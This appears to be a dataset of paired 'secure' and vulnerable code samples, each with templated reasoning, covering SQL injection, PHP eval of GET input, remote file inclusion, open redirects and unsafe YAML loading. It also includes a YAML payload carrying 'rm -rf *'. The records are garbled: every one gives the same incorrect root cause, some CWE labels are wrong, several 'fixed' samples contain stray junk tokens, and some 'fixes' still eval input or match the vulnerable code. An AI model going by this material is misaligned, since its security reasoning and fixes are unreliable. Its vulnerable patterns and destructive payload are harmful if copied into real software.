data := []byte("This is sensitive data")
err := ioutil.WriteFile(fileName, data, 0644)
if err != nil {
panic(err)
}
// Vulnerability: The file permissions are set to 0644 which means the file is readable by the gr... | 343 | 0.86 |
cyber_febab4fef747 | vulnerability_research_cve | CWE-476 | Write a kotlin code that represents a Student class. The Student class should have a property 'name' which can be null. Include a method named 'getNameLength' in the Student class that returns the length of the name or null if the name is null. In the main function, create an instance of the Student class with a null n... | Target: kotlin implementation for Write a kotlin code that represents a Student class. The Student class.
Vulnerability Vector: In Kotlin, incorrect use of null safety can lead to NullPointerException during (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```kotlin
// This is a simple class representing a student
class Student(val name: String?) {
fun getNameLength(): Int? {
return name?.length
}
}
fun main() {
val student = Student(null)
println(student.getNameLength() ?: "Name is null") // This will not throw a NullPointerException
}
``` | <think>
Target: kotlin implementation for Write a kotlin code that represents a Student class. The Student class.
Vulnerability Vector: In Kotlin, incorrect use of null safety can lead to NullPointerException during (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```kotlin
// This is a simple class representing a student
class Student(val name: String?) {
fun getNameLength(): Int? {
return name?.length
}
}
fun main() {
val student = Student(null)
println(student.getNameLength()) // This will throw a NullPointerException
}
``` | 201 | 0.78 |
cyber_bd628c013316 | vulnerability_research_cve | CWE-787 | Write a c# code that creates a StringBuilder object, appends a long string to it and then prints the resultant string to the console. | Target: c# implementation for Write a c# code that creates a StringBuilder object, appends a long st.
Vulnerability Vector: A buffer overflow vulnerability may occur if a string is appended to a StringBui (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c#
class Program
{
static void Main(string[] args)
{
StringBuilder sb = new StringBuilder();
string str = "This is a long string that will cause a buffer overflow if not checked properly.";
// Checking the length of the string before appending it to the StringBuilder
if (sb.Le... | <think>
Target: c# implementation for Write a c# code that creates a StringBuilder object, appends a long st.
Vulnerability Vector: A buffer overflow vulnerability may occur if a string is appended to a StringBui (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c#
class Program
{
static void Main(string[] args)
{
StringBuilder sb = new StringBuilder();
string str = "This is a long string that will cause a buffer overflow if not checked properly.";
sb.Append(str);
Console.WriteLine(sb.ToString());
}
}
``` | 250 | 0.6 |
cyber_b4f298320515 | vulnerability_research_cve | CWE-20 | Write a kotlin code that takes two arguments from the command line, connects to a MySQL database using JDBC, prepares a SQL query to select data from a 'users' table where the 'username' and 'password' match the input arguments, executes the query, and prints whether the login was successful or not. | Target: kotlin implementation for Write a kotlin code that takes two arguments from the command line, co.
Vulnerability Vector: Improper input validation in Kotlin can lead to injection attacks and other secu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.sql.DriverManager
import java.sql.SQLException
fun main(args: Array<String>) {
if (args.size != 2) {
println("Please provide exactly two arguments.")
return
}
val username = args[0]
val password = args[1]
val url = "jdbc:mysql://localhost/test"
val user =... | <think>
Target: kotlin implementation for Write a kotlin code that takes two arguments from the command line, co.
Vulnerability Vector: Improper input validation in Kotlin can lead to injection attacks and other secu (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.sql.Connection
import java.sql.DriverManager
import java.sql.PreparedStatement
fun main(args: Array<String>) {
val username = args[0]
val password = args[1]
val connection = DriverManager.getConnection("jdbc:mysql://localhost/test", "root", "password")
val statement = connection.... | 366 | 0.7 |
cyber_f346a7796b0e | vulnerability_research_cve | CWE-190 | Write a fortran code that prints numbers from 1 to 20. | Target: fortran implementation for Write a fortran code that prints numbers from 1 to 20..
Vulnerability Vector: The integer overflow vulnerability can occur when an integer variable exceeds it (CWE-190).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Strategy: E... | ```fortran
program integer_overflow
implicit none
integer :: i
do i=1, 20
print*, i
end do
end program integer_overflow
``` | <think>
Target: fortran implementation for Write a fortran code that prints numbers from 1 to 20..
Vulnerability Vector: The integer overflow vulnerability can occur when an integer variable exceeds it (CWE-190).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Str... | ```fortran
program integer_overflow
implicit none
integer :: i
do i=1, 20
print*, i
end do
end program integer_overflow
``` | 152 | 0.78 |
cyber_ba6d904e465c | vulnerability_research_cve | CWE-20 | Write a ruby code that loads a YAML string into an object of class User. The YAML string contains a command that will delete all files in the current directory when called. The User class has two attributes: name and email. | Target: ruby implementation for Write a ruby code that loads a YAML string into an object of class Use.
Vulnerability Vector: Ruby's YAML library may be vulnerable to arbitrary code execution attacks if it (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```ruby
require 'yaml'
class User
attr_accessor :name, :email
def initialize(name, email)
@name = name
@email = email
end
# Adding a method to sanitize the email attribute
def sanitize_email
self.email = ActionController::Base.helpers.sanitize(self.email)
end
end
user_data = "!!ruby/object... | <think>
Target: ruby implementation for Write a ruby code that loads a YAML string into an object of class Use.
Vulnerability Vector: Ruby's YAML library may be vulnerable to arbitrary code execution attacks if it (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```ruby
require 'yaml'
class User
attr_accessor :name, :email
def initialize(name, email)
@name = name
@email = email
end
end
user_data = "!!ruby/object:User\nname: Attacker\nemail: \"system('rm -rf *')\""
user = YAML.load(user_data)
user.email
``` | 287 | 0.61 |
cyber_3fdad2ad389d | vulnerability_research_cve | CWE-787 | Write a go code that creates a slice `src` from string 'Hello, World'. Create another slice `dst` of length 5. Use the built-in function `copy` to copy elements from `src` to `dst`. The function `copy` returns the number of elements copied, which we store in `n`. Print the first `n` elements of `dst`. | Target: go implementation for Write a go code that creates a slice `src` from string 'Hello, World'..
Vulnerability Vector: In Go, there's a potential buffer overflow vulnerability due to the use of the ' (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"fmt"
)
func main() {
src := "Hello, World"
dst := make([]rune, 5)
n := copy(dst, []rune(src))
fmt.Printf("%s\n", string(dst[:n]))
}
``` | <think>
Target: go implementation for Write a go code that creates a slice `src` from string 'Hello, World'..
Vulnerability Vector: In Go, there's a potential buffer overflow vulnerability due to the use of the ' (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"bytes"
"fmt"
)
func main() {
src := []byte("Hello, World")
dst := make([]byte, 5)
n := copy(dst, src)
fmt.Printf("%s\n", dst[:n])
}
``` | 191 | 0.79 |
cyber_40226e78f512 | vulnerability_research_cve | CWE-20 | Write a fortran code that initializes an array of size 10 with the product of an undefined variable 'k' and the index 'i'. Then print out the array. | Target: fortran implementation for Write a fortran code that initializes an array of size 10 with the pro.
Vulnerability Vector: The use of uninitialized variables or array elements can lead to undefined behav (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigat... | ```fortran
program main
implicit none
integer :: i, j
integer, parameter :: k = 10 ! initialize k
integer, dimension(10) :: arr
! Initializing the array with the product of 'k' and the index 'i'
do i = 1, 10
arr(i) = k * i
end do
! Printing the array
do j = 1, 10
pr... | <think>
Target: fortran implementation for Write a fortran code that initializes an array of size 10 with the pro.
Vulnerability Vector: The use of uninitialized variables or array elements can lead to undefined behav (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.... | ```fortran
program main
implicit none
integer :: i, j, k
integer, dimension(10) :: arr
! Undefined behavior due to uninitialized variable 'k'
do i = 1, 10
arr(i) = k * i
end do
! Printing the array
do j = 1, 10
print*, arr(j)
end do
end program main
``` | 241 | 0.75 |
cyber_42a239d47204 | vulnerability_research_cve | CWE-20 | Write a java code that demonstrates a memory leak issue in thread local variables. The code creates two threads, each of which sets a unique thread-local variable and prints its value. After both threads have finished execution, the main thread prints its thread-local variable's value. | Target: java implementation for Write a java code that demonstrates a memory leak issue in thread loca.
Vulnerability Vector: Improper use of ThreadLocal could lead to memory leaks due to not cleaning up re (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.util.concurrent.atomic.AtomicInteger;
public class ThreadLocalMemoryLeakFixed {
private static final AtomicInteger nextId = new AtomicInteger(0);
// ThreadLocal variable containing user ID
private static final ThreadLocal<Integer> threadId = new ThreadLocal<>();
public static Inte... | <think>
Target: java implementation for Write a java code that demonstrates a memory leak issue in thread loca.
Vulnerability Vector: Improper use of ThreadLocal could lead to memory leaks due to not cleaning up re (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.util.concurrent.atomic.AtomicInteger;
public class ThreadLocalMemoryLeak {
private static final AtomicInteger nextId = new AtomicInteger(0);
// ThreadLocal variable containing user ID
private static final ThreadLocal<Integer> threadId = new ThreadLocal<>();
public static int get()... | 453 | 0.83 |
cyber_908da35b05c4 | vulnerability_research_cve | CWE-20 | Write a swift code that creates an instance of UnsafeClass and assigns it to a variable named 'instance'. The UnsafeClass has a property named 'unsafeProperty' which is an optional UnsafeObject. When you set 'instance' to nil, it will cause a memory leak because the UnsafeObject's deinit method will not be called. | Target: swift implementation for Write a swift code that creates an instance of UnsafeClass and assigns.
Vulnerability Vector: Swift's ARC (Automatic Reference Counting) system can introduce memory leaks if (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
class UnsafeClass {
weak var unsafeProperty: UnsafeObject?
init() {
self.unsafeProperty = UnsafeObject()
}
deinit {
self.unsafeProperty = nil
}
}
class UnsafeObject {
deinit {
print("UnsafeObject has been deallocated")
}
}
var instance: UnsafeClas... | <think>
Target: swift implementation for Write a swift code that creates an instance of UnsafeClass and assigns.
Vulnerability Vector: Swift's ARC (Automatic Reference Counting) system can introduce memory leaks if (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
class UnsafeClass {
var unsafeProperty: UnsafeObject?
init() {
self.unsafeProperty = UnsafeObject()
}
}
class UnsafeObject {
deinit {
print("UnsafeObject has been deallocated")
}
}
var instance: UnsafeClass? = UnsafeClass()
instance = nil // This will cause a memory l... | 245 | 0.76 |
cyber_248331e6c317 | vulnerability_research_cve | CWE-20 | Write a go code that creates an HTTP server that listens on port 8080. It has two endpoints '/redirect' and '/default'. The '/redirect' endpoint takes a 'location' query parameter and redirects the client to that location. If no 'location' query parameter is provided, it defaults to '/default'. The '/default' endpoint ... | Target: go implementation for Write a go code that creates an HTTP server that listens on port 8080..
Vulnerability Vector: Improper handling of HTTP redirects can lead to open redirect vulnerabilities. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation Str... | ```go
package main
import (
"net/http"
"fmt"
"strings"
)
// This function validates the URL before redirecting
func redirectHandler(w http.ResponseWriter, r *http.Request) {
location := r.URL.Query().Get("location")
if location == "" {
location = "/default"
}
// Validate the URL before redirecting
if !strin... | <think>
Target: go implementation for Write a go code that creates an HTTP server that listens on port 8080..
Vulnerability Vector: Improper handling of HTTP redirects can lead to open redirect vulnerabilities. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitiga... | ```go
package main
import (
"net/http"
"fmt"
)
func redirectHandler(w http.ResponseWriter, r *http.Request) {
location := r.URL.Query().Get("location")
if location == "" {
location = "/default"
}
http.Redirect(w, r, location, http.StatusFound)
}
func defaultHandler(w http.ResponseWriter, r *http.Request) {
... | 375 | 0.68 |
cyber_def9cd5d8265 | vulnerability_research_cve | CWE-20 | Write a java code that imports the Scanner class from java.util package. Create a public class named Main. Declare a private static string variable named password and initialize it to an empty string. In the main method, create a new instance of the Scanner class to read input from the user. Print a message asking the ... | Target: java implementation for Write a java code that imports the Scanner class from java.util packag.
Vulnerability Vector: Improper handling of sensitive data in Java can lead to security risks, such as (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import java.util.Scanner;
public class Main {
private static char[] password;
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your password: ");
String pass = scanner.nextLine();
password = new char[pass.lengt... | <think>
Target: java implementation for Write a java code that imports the Scanner class from java.util packag.
Vulnerability Vector: Improper handling of sensitive data in Java can lead to security risks, such as (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.util.Scanner;
public class Main {
private static String password = "";
public static void main(String[] args) {
Scanner scanner = new Scanner(System.in);
System.out.println("Enter your password: ");
password = scanner.nextLine();
System.out.println("Your pas... | 282 | 0.61 |
cyber_75b55f64181c | vulnerability_research_cve | CWE-20 | Write a c# code that creates a null string and checks if it is equal to 'Hello World'. If it is, print 'The string is equal to 'Hello World''. Otherwise, print 'The string is not equal to 'Hello World' | Target: c# implementation for Write a c# code that creates a null string and checks if it is equal t.
Vulnerability Vector: Potential null reference exception due to improper handling of objects in compar (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
public class Program
{
public static void Main()
{
string str = null;
if (string.IsNullOrEmpty(str))
{
Console.WriteLine("The string is null or empty");
}
else if (str.Equals("Hello World"))
{
Console.WriteLine("The str... | <think>
Target: c# implementation for Write a c# code that creates a null string and checks if it is equal t.
Vulnerability Vector: Potential null reference exception due to improper handling of objects in compar (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
public class Program
{
public static void Main()
{
string str = null;
if (str == "Hello World")
{
Console.WriteLine("The string is equal to 'Hello World'");
}
else
{
Console.WriteLine("The string is not equal to 'Hello ... | 237 | 0.71 |
cyber_e9f1e5196e3e | vulnerability_research_cve | CWE-20 | Write a swift code that creates a User class and a UserService class. The User class should have properties for username and password. The UserService class should have a method to register a new user and a method to verify if a user's credentials match an existing user. If they do, return true. If not, return false. | Target: swift implementation for Write a swift code that creates a User class and a UserService class. .
Vulnerability Vector: Improper handling of sensitive data in Swift could lead to information disclosur (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigatio... | ```swift
import Foundation
import CommonCrypto
class User {
var username: String
var passwordHash: Data
init(username: String, password: String) {
self.username = username
self.passwordHash = createPasswordHash(password: password)
}
func createPasswordHash(password: String... | <think>
Target: swift implementation for Write a swift code that creates a User class and a UserService class. .
Vulnerability Vector: Improper handling of sensitive data in Swift could lead to information disclosur (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
M... | ```swift
import Foundation
class User {
var username: String
var password: String
init(username: String, password: String) {
self.username = username
self.password = password
}
}
class UserService {
static let shared = UserService()
private var users: [User] = []
... | 713 | 0.44 |
cyber_57c5c378971f | vulnerability_research_cve | CWE-20 | Write a c++ code that defines a base class `Base` with a virtual function `print` that prints 'Base'. Define another class `Derived` that inherits from `Base` and overrides the `print` function to print 'Derived'. Define a function `print` that takes a pointer to a `Base` object and calls the `print` function on the ob... | Target: c++ implementation for Write a c++ code that defines a base class `Base` with a virtual funct.
Vulnerability Vector: Incomplete type checking in C++ can lead to memory corruption or type confusion. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```c++
#include <iostream>
class Base {
public:
virtual void print() const {
std::cout << "Base\n";
}
virtual ~Base() {}
};
class Derived : public Base {
public:
void print() const override {
std::cout << "Derived\n"; covered
}
};
void print(const Base* b) {
if (b != nullptr) ... | <think>
Target: c++ implementation for Write a c++ code that defines a base class `Base` with a virtual funct.
Vulnerability Vector: Incomplete type checking in C++ can lead to memory corruption or type confusion. (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```c++
#include <iostream>
class Base {
public:
virtual void print() {
std::cout << "Base\n";
}
};
class Derived : public Base {
public:
void print() override {
std::cout << "Derived\n";
}
};
void print(Base* b) {
b->print();
}
int main() {
Derived d;
Base* b = &d;
pr... | 324 | 0.75 |
cyber_5adc5a67297e | vulnerability_research_cve | CWE-20 | Write a java code that creates a new Java class dynamically at runtime, compiles it and executes it. The created class will open a calculator application when it's loaded. | Target: java implementation for Write a java code that creates a new Java class dynamically at runtime.
Vulnerability Vector: Java's `Class.forName()` method can result in unchecked class instantiation whic (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation... | ```java
import javax.tools.JavaCompiler;
import javax.tools.ToolProvider;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.StandardCharsets;
import java.util.... | <think>
Target: java implementation for Write a java code that creates a new Java class dynamically at runtime.
Vulnerability Vector: Java's `Class.forName()` method can result in unchecked class instantiation whic (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mi... | ```java
import java.io.*;
import java.lang.reflect.*;
public class Main {
public static void main(String[] args) throws Exception {
String className = "EvilClass";
String classCode = "package evilPackage;\n" +
"public class EvilClass {\n" +
" static {\n" +
... | 558 | 0.69 |
cyber_069d5fbdc463 | vulnerability_research_cve | CWE-78 | Write a php code that retrieves user input from the URL parameter 'input', then executes the user'input as PHP code using the eval() function. | Target: php implementation for Write a php code that retrieves user input from the URL parameter 'inp.
Vulnerability Vector: In PHP, an untrusted input can lead to Remote Code Execution through eval() func (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
if(isset($_GET['input'])) {
$userInput = filter_var($_GET['input'], FILTER_SANITIZE_STRING);
if (!empty($userInput)) {
eval('echo "' . $userInput . '";');
} else {
echo "Invalid input.";
}
} else {
echo "No input provided.";
}
?>
``` | <think>
Target: php implementation for Write a php code that retrieves user input from the URL parameter 'inp.
Vulnerability Vector: In PHP, an untrusted input can lead to Remote Code Execution through eval() func (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$userInput = $_GET['input'];
eval('echo "'.$userInput.'";');
?>
``` | 210 | 0.49 |
cyber_9ed00924c1aa | vulnerability_research_cve | CWE-476 | Write a swift code that defines an error type named 'MyError' and a struct named 'User'. The struct 'User' has two properties, 'name' and 'age', both optional strings and integers respectively. Define a function named 'getUserName' that takes an optional 'User' instance as a parameter. If the 'name' property of the use... | Target: swift implementation for Write a swift code that defines an error type named 'MyError' and a st.
Vulnerability Vector: Swift's optional types can lead to null pointer exceptions if not handled proper (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
enum MyError: Error {
case unknown
}
struct User {
var name: String?
var age: Int?
}
func getUserName(user: User?) throws -> String {
guard let name = user?.name else {
throw MyError.unknown
}
return name
}
do {
let user = User()
let name = try getU... | <think>
Target: swift implementation for Write a swift code that defines an error type named 'MyError' and a st.
Vulnerability Vector: Swift's optional types can lead to null pointer exceptions if not handled proper (CWE-476).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
enum MyError: Error {
case unknown
}
struct User {
var name: String?
var age: Int?
}
func getUserName(user: User?) -> String {
guard let name = user?.name else {
throw MyError.unknown
}
return name
}
do {
let user = User()
let name = try getUserName... | 256 | 0.83 |
cyber_9027ee8bd6c9 | vulnerability_research_cve | CWE-89 | Write a c# code that connects to a database, takes user input and executes a SQL query to fetch data from a table named 'Users' where the 'UserName' matches the user input. The fetched data is then printed to the console. | Target: c# implementation for Write a c# code that connects to a database, takes user input and exec.
Vulnerability Vector: Improper handling of user input can lead to SQL Injection attacks if user inputs (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```c#
using System;
using System.Data.SqlClient;
public class SecureDatabaseAccess
{
private string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
public void GetData(string userInput)
{
using (SqlConnection connection = new SqlConnection(c... | <think>
Target: c# implementation for Write a c# code that connects to a database, takes user input and exec.
Vulnerability Vector: Improper handling of user input can lead to SQL Injection attacks if user inputs (CWE-89).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```c#
using System;
using System.Data.SqlClient;
public class VulnerableDatabaseAccess
{
private string connectionString = "Server=myServerAddress;Database=myDataBase;User Id=myUsername;Password=myPassword;";
public void GetData(string userInput)
{
using (SqlConnection connection = new SqlConnecti... | 346 | 0.82 |
cyber_b2645ac37405 | vulnerability_research_cve | CWE-20 | Write a php code that accepts user input from a GET request, sanitizes and validates the input, and then evaluates it as PHP code if it passes validation. | Target: php implementation for Write a php code that accepts user input from a GET request, sanitizes.
Vulnerability Vector: PHP's `extract()` function may lead to code injection if user input is not prope (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
$input = $_GET['user_input'];
// Sanitize and validate user input
$input = preg_replace('/[^a-zA-Z0-9]/', '', $input);
// Validate input
if(preg_match('/^[a-zA-Z0-9]+$/', $input)) {
// Evaluate input as PHP code
eval("$input");
} else {
echo "Invalid input!";妆
}
?>
``` | <think>
Target: php implementation for Write a php code that accepts user input from a GET request, sanitizes.
Vulnerability Vector: PHP's `extract()` function may lead to code injection if user input is not prope (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
$input = $_GET['user_input'];
// Vulnerable Code: User input is directly evaluated as PHP code
eval("$input");
// Secure Code: User input is properly sanitized and validated
if(preg_match('/^[a-zA-Z0-9]+$/', $input)) {
eval("$input");
} else {
echo "Invalid input!";
}
?>
``` | 232 | 0.78 |
cyber_188ddb6e2723 | vulnerability_research_cve | CWE-20 | Write a go code that starts a web server on port 8080. The server has one endpoint '/search' which accepts GET requests. When a request is made to this endpoint, it reads a 'query' parameter from the URL, connects to a PostgreSQL database named 'test', runs a SQL query to select all records from the 'users' table where... | Target: go implementation for Write a go code that starts a web server on port 8080. The server has .
Vulnerability Vector: Improper validation and sanitization of user input can lead to injection attacks (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"database/sql"
"fmt"
"net/http"
_ "github.com/lib/pq"
)
func handleSearch(w http.ResponseWriter, r *http.Request) {
query := r.URL.Query().Get("query")
db, err := sql.Open("postgres", "user=test password=test dbname=test sslmode=disable")
if err != nil {
http.Error(w, "Database c... | <think>
Target: go implementation for Write a go code that starts a web server on port 8080. The server has .
Vulnerability Vector: Improper validation and sanitization of user input can lead to injection attacks (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"database/sql"
"fmt"
_ "github.com/lib/pq"
"net/http"
)
func handleSearch(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
query := r.FormValue("query")
db, _ := sql.Open("postgres", "user=test password=test dbname=test sslmode=disable")
rows, _ := db.Query("SELECT * FROM us... | 521 | 0.58 |
cyber_428f152ac2de | vulnerability_research_cve | CWE-78 | Write a kotlin code that creates a fixed thread pool of size 10. Then, submit 10000 tasks to the thread pool where each task is an infinite loop that sleeps for 10 seconds. | Target: kotlin implementation for Write a kotlin code that creates a fixed thread pool of size 10. Then,.
Vulnerability Vector: The use of Thread.sleep() method in Kotlin can lead to resource exhaustion due t (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```kotlin
import java.util.concurrent.Executors
import java.util.concurrent.TimeUnit
fun main(args: Array<String>) {
val threadPoolExecutor = Executors.newFixedThreadPool(10)
for (i in 1..10000) {
threadPoolExecutor.submit {
while (!Thread.currentThread().isInterrupted) {
t... | <think>
Target: kotlin implementation for Write a kotlin code that creates a fixed thread pool of size 10. Then,.
Vulnerability Vector: The use of Thread.sleep() method in Kotlin can lead to resource exhaustion due t (CWE-78).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```kotlin
import java.util.*
fun main(args: Array<String>) {
val threadPoolExecutor = Executors.newFixedThreadPool(10)
for (i in 1..10000) {
threadPoolExecutor.execute {
while (true) {
// This line is the vulnerability
Thread.sleep(10000)
}
... | 302 | 0.6 |
cyber_e0d1ca44bc53 | vulnerability_research_cve | CWE-787 | Write a swift code that takes an array of strings as input and returns a single string that is the concatenation of all the strings in the array. | Target: swift implementation for Write a swift code that takes an array of strings as input and returns.
Vulnerability Vector: Swift allows for buffer overflow errors when handling string operations, leading (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigati... | ```swift
import Foundation
func concatStrings(_ strings: [String]) -> String {
return strings.joined(separator: "")
}
let input = ["Hello", "world", "!"]
let output = concatStrings(input)
print(output)
``` | <think>
Target: swift implementation for Write a swift code that takes an array of strings as input and returns.
Vulnerability Vector: Swift allows for buffer overflow errors when handling string operations, leading (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
... | ```swift
import Foundation
func concatStrings(_ strings: [String]) -> String {
var result = ""
for string in strings {
result += string
}ellow
}
let input = ["Hello", "world", "!"]
let output = concatStrings(input)
print(output)
``` | 169 | 0.88 |
cyber_dc38e5c57fdb | vulnerability_research_cve | CWE-20 | Write a go code that imports the 'fmt' and 'gopkg.in/errgo.v2/errors' packages. Define a function named 'someExternalFunc' that returns an error with the message 'This is an error'. In the main function, call 'someExternalFunc' and if there is an error, print the error message. | Target: go implementation for Write a go code that imports the 'fmt' and 'gopkg.in/errgo.v2/errors' .
Vulnerability Vector: In Go, improper handling of errors from external packages can lead to unhandled (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation S... | ```go
package main
import (
"fmt"
"gopkg.in/errgo.v2/errors"
) Hawk
func main() {
err := someExternalFunc()
if err != nil {
fmt.Println(err)
}
}
func someExternalFunc() error {
return errors.New("This is an error")
}
``` | <think>
Target: go implementation for Write a go code that imports the 'fmt' and 'gopkg.in/errgo.v2/errors' .
Vulnerability Vector: In Go, improper handling of errors from external packages can lead to unhandled (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```go
package main
import (
"fmt"
"gopkg.in/errgo.v2/errors"
)
func main() {
err := someExternalFunc()
if err != nil {
fmt.Println(err)
}
}
func someExternalFunc() error {
return errors.New("This is an error")
}
``` | 215 | 0.77 |
cyber_d2cf883cb163 | vulnerability_research_cve | CWE-20 | Write a php code that includes a file based on a GET request parameter 'file'. If the 'file' parameter exists in the GET request, include the file specified by the 'file' parameter. | Target: php implementation for Write a php code that includes a file based on a GET request parameter.
Vulnerability Vector: In PHP, it's possible for a remote file inclusion vulnerability due to the use o (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```php
<?php
function include_file($file) {
$allowed_files = ['allowed_file1.php', 'allowed_file2.php']; // list of allowed files
if (in_array($file, $allowed_files)) {
include $file;
} else {
echo "File not allowed.";
}
}
if (isset($_GET['file'])) {
$file = basename($_GET['file'])... | <think>
Target: php implementation for Write a php code that includes a file based on a GET request parameter.
Vulnerability Vector: In PHP, it's possible for a remote file inclusion vulnerability due to the use o (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```php
<?php
function include_file($file) {
include $file;
}
if (isset($_GET['file'])) {
$file = $_GET['file'];
include_file($file);
}
?>
``` | 242 | 0.54 |
cyber_63ae094354f6 | vulnerability_research_cve | CWE-787 | Write a go code that reads data from standard input and prints each byte read. | Target: go implementation for Write a go code that reads data from standard input and prints each by.
Vulnerability Vector: A buffer overflow vulnerability in Go could occur when data from an untrusted so (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mitigation ... | ```go
package main
import (
"bufio"
"fmt"
"os"
)
func main() {
reader := bufio.NewReader(os.Stdin)
for {
data, err := reader.ReadByte()
if err != nil {
if err.Error() != "EOF" {
fmt.Println("Error reading from stdin:", err)avant
}
break
}
fmt.Println(data)
}
}
``` | <think>
Target: go implementation for Write a go code that reads data from standard input and prints each by.
Vulnerability Vector: A buffer overflow vulnerability in Go could occur when data from an untrusted so (CWE-787).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Mit... | ```go
package main
import (
"fmt"
"os"
)
func main() {
data := make([]byte, 1024)
n, err := os.Stdin.Read(data)
if err != nil {
fmt.Println("Error reading from stdin:", err)
return
}
// This line of code can cause a buffer overflow if n > len(data)
for i := 0; i < n; i++ {
fmt.Println(data[i])
}
}
``` | 245 | 0.87 |
cyber_6f3a8e097eea | vulnerability_research_cve | CWE-20 | Write a javascript code that creates a vehicle object with a name and speed property. The vehicle should have an accelerate method which increases the speed by 10 each time it is called. Create a car object using the vehicle constructor. Call the accelerate method on the car object twice. Log the speed of the car objec... | Target: javascript implementation for Write a javascript code that creates a vehicle object with a name and .
Vulnerability Vector: In JavaScript, improper handling of 'this' keyword can lead to unexpected result (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutation.
Miti... | ```javascript
var Vehicle = function(name){
var self = this;
this.name = name;
this.speed = 0;
this.accelerate = function(){
// Fixed: Using 'self' reference to maintain correct context
self.speed += 10;
};
};
var car = new Vehicle('Car');
car.accelerate();
console.log(car.speed); ... | <think>
Target: javascript implementation for Write a javascript code that creates a vehicle object with a name and .
Vulnerability Vector: In JavaScript, improper handling of 'this' keyword can lead to unexpected result (CWE-20).
Root Cause: Missing bounds verification or improper memory handling prior to state mutati... | ```javascript
var Vehicle = function(name){
this.name = name;
this.speed = 0;
this.accelerate = function(){
// Vulnerability: Using 'this' keyword without proper context
this.speed += 10;
};
};
var car = new Vehicle('Car');
car.accelerate();
console.log(car.speed); // Outputs: 10
// V... | 278 | 0.87 |
